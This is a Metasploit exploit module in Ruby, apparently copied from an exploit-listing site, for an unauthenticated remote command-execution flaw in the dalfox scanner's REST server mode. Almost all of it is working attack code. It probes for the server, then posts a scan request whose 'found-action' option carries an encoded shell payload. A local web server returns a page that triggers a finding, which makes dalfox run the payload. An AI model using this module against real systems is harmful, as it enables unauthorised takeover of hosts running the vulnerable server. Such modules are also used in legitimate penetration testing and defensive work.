Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-DALFOX_SERVER_RCE_CVE_2026_45087-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Dalfox Found-Action Deserialization RCE',
        'Description' => %q{
          When dalfox version <= 2.12.0 is started in REST API server mode (dalfox server),
          the server binds to 0.0.0.0:6664 by default and requires no API key unless the operator explicitly passes --api-key.
          Because model.Options - including FoundAction and FoundActionShell - is deserialized directly from attacker-supplied JSON in POST /scan,
          and because dalfox.Initialize explicitly propagates those two fields into the final scan options without stripping them,
          any unauthenticated caller who can reach the server port can supply an arbitrary shell command that the dalfox process will execute on the host whenever a scan finding is triggered.
        },
        'Author' => [
          'Emmanuel David',   # Vulnerability discovery and PoC
          'Takahiro Yokoyama' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-45087'],
          ['GHSA', 'v25v-m36w-jp4h'],
        ],
        'Targets' => [
          [
            'Linux Command', {
              'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd
            }
          ],
        ],
        'DefaultOptions' => {
          'FETCH_DELETE' => true,
          'SRVPORT' => 8081,
          'RPORT' => 6664
        },
        'DefaultTarget' => 0,
        'Payload' => {
          'BadChars' => '"'
        },
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'DisclosureDate' => '2026-05-07',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_advanced_options([
      OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
    ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'swagger/index.html')
    })
    return Exploit::CheckCode::Unknown('Could not detect the dalfox.') unless res&.code == 200

    Exploit::CheckCode::Appears('Dalfox detected.')
  end

  def on_request_uri(cli, request)
    send_response(cli, "<html><body>#{request.resource}</body></html>")
  end

  def primer
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'scan'),
      'headers' => { 'Content-Type' => 'application/json' },
      'data' => {
        'url' => get_uri,
        'options' => {
          'found-action' => payload.encode,
          'found-action-shell' => 'bash',
          'use-headless' => false,
          'worker' => 1,
          'limit-result' => 1
        }
      }.to_json
    })
    fail_with(Failure::Unknown, 'Unexpected server reply.') unless res&.code == 200
  end

  def exploit
    Timeout.timeout(datastore['HTTPDELAY']) { super }
  rescue Timeout::Error
    # When the server stops due to our timeout, this is raised
  end

end